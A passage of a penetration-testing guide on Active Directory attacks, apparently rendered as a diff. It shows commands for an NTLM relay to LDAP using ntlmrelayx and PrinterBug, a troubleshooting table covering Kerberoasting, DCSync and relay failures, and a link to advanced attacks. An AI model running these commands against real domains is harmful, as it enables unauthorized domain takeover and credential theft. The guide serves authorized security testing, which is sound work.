### Example 2: NTLM Relay to LDAP
|
|
356
|
+
|
|
357
|
+
```bash
|
|
358
|
+
# 1. Start relay targeting LDAP
|
|
359
|
+
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
|
|
360
|
+
|
|
361
|
+
# 2. Trigger authentication (e.g., via PrinterBug)
|
|
362
|
+
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
|
|
363
|
+
|
|
364
|
+
# 3. Use created machine account for RBCD attack
|
|
365
|
+
```
|
|
366
|
+
|
|
367
|
+
---
|
|
368
|
+
|
|
369
|
+
## Troubleshooting
|
|
370
|
+
|
|
371
|
+
| Issue | Solution |
|
|
372
|
+
|-------|----------|
|
|
373
|
+
| Clock skew too great | Sync time with DC or use faketime |
|
|
374
|
+
| Kerberoasting returns empty | No service accounts with SPNs |
|
|
375
|
+
| DCSync access denied | Need Replicating Directory Changes rights |
|
|
376
|
+
| NTLM relay fails | Check SMB signing, try LDAP target |
|
|
377
|
+
| BloodHound empty | Verify collector ran with correct creds |
|
|
378
|
+
|
|
379
|
+
---
|
|
380
|
+
|
|
381
|
+
## Additional Resources
|
|
382
|
+
|
|
383
|
+
For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).
|